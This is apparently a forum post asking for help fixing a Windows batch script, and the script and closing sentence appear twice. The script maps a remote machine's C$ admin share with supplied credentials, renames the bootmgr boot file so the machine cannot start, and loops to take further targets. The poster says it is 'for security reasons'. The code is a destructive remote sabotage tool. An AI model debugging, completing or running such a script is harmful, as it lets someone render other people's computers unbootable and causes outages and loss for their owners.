Hey all! I'm a noob at writing batch files and have written a bunch, but my latest one is an odd one. I'm actually trying to break remote machines (for security reasons) by renaming the bootmgr system file and then shutting the machines down so they can no longer boot up. My batch file will map the remote machines hard drive to "Z" and then I try to rename the bootmgr file, but I keep getting a syntax error. Here's what I have:
@echo off
:start
set /p a="Enter IP Address or Name: "
net use z: \\%a%\C$ /u:%a%\USERNAME PASS
timeout /t 10
ren -y z:\bootmgr bootmgrbroken
timeout /t 5
goto start
I've tried even renaming a non system file and still get the same syntax error. Thanks in advance for all your help!
@echo off
:start
set /p a="Enter IP Address or Name: "
net use z: \\%a%\C$ /u:%a%\USERNAME PASS
timeout /t 10
ren -y z:\bootmgr bootmgrbroken
timeout /t 5
goto start
I've tried even renaming a non system file and still get the same syntax error. Thanks in advance for all your help!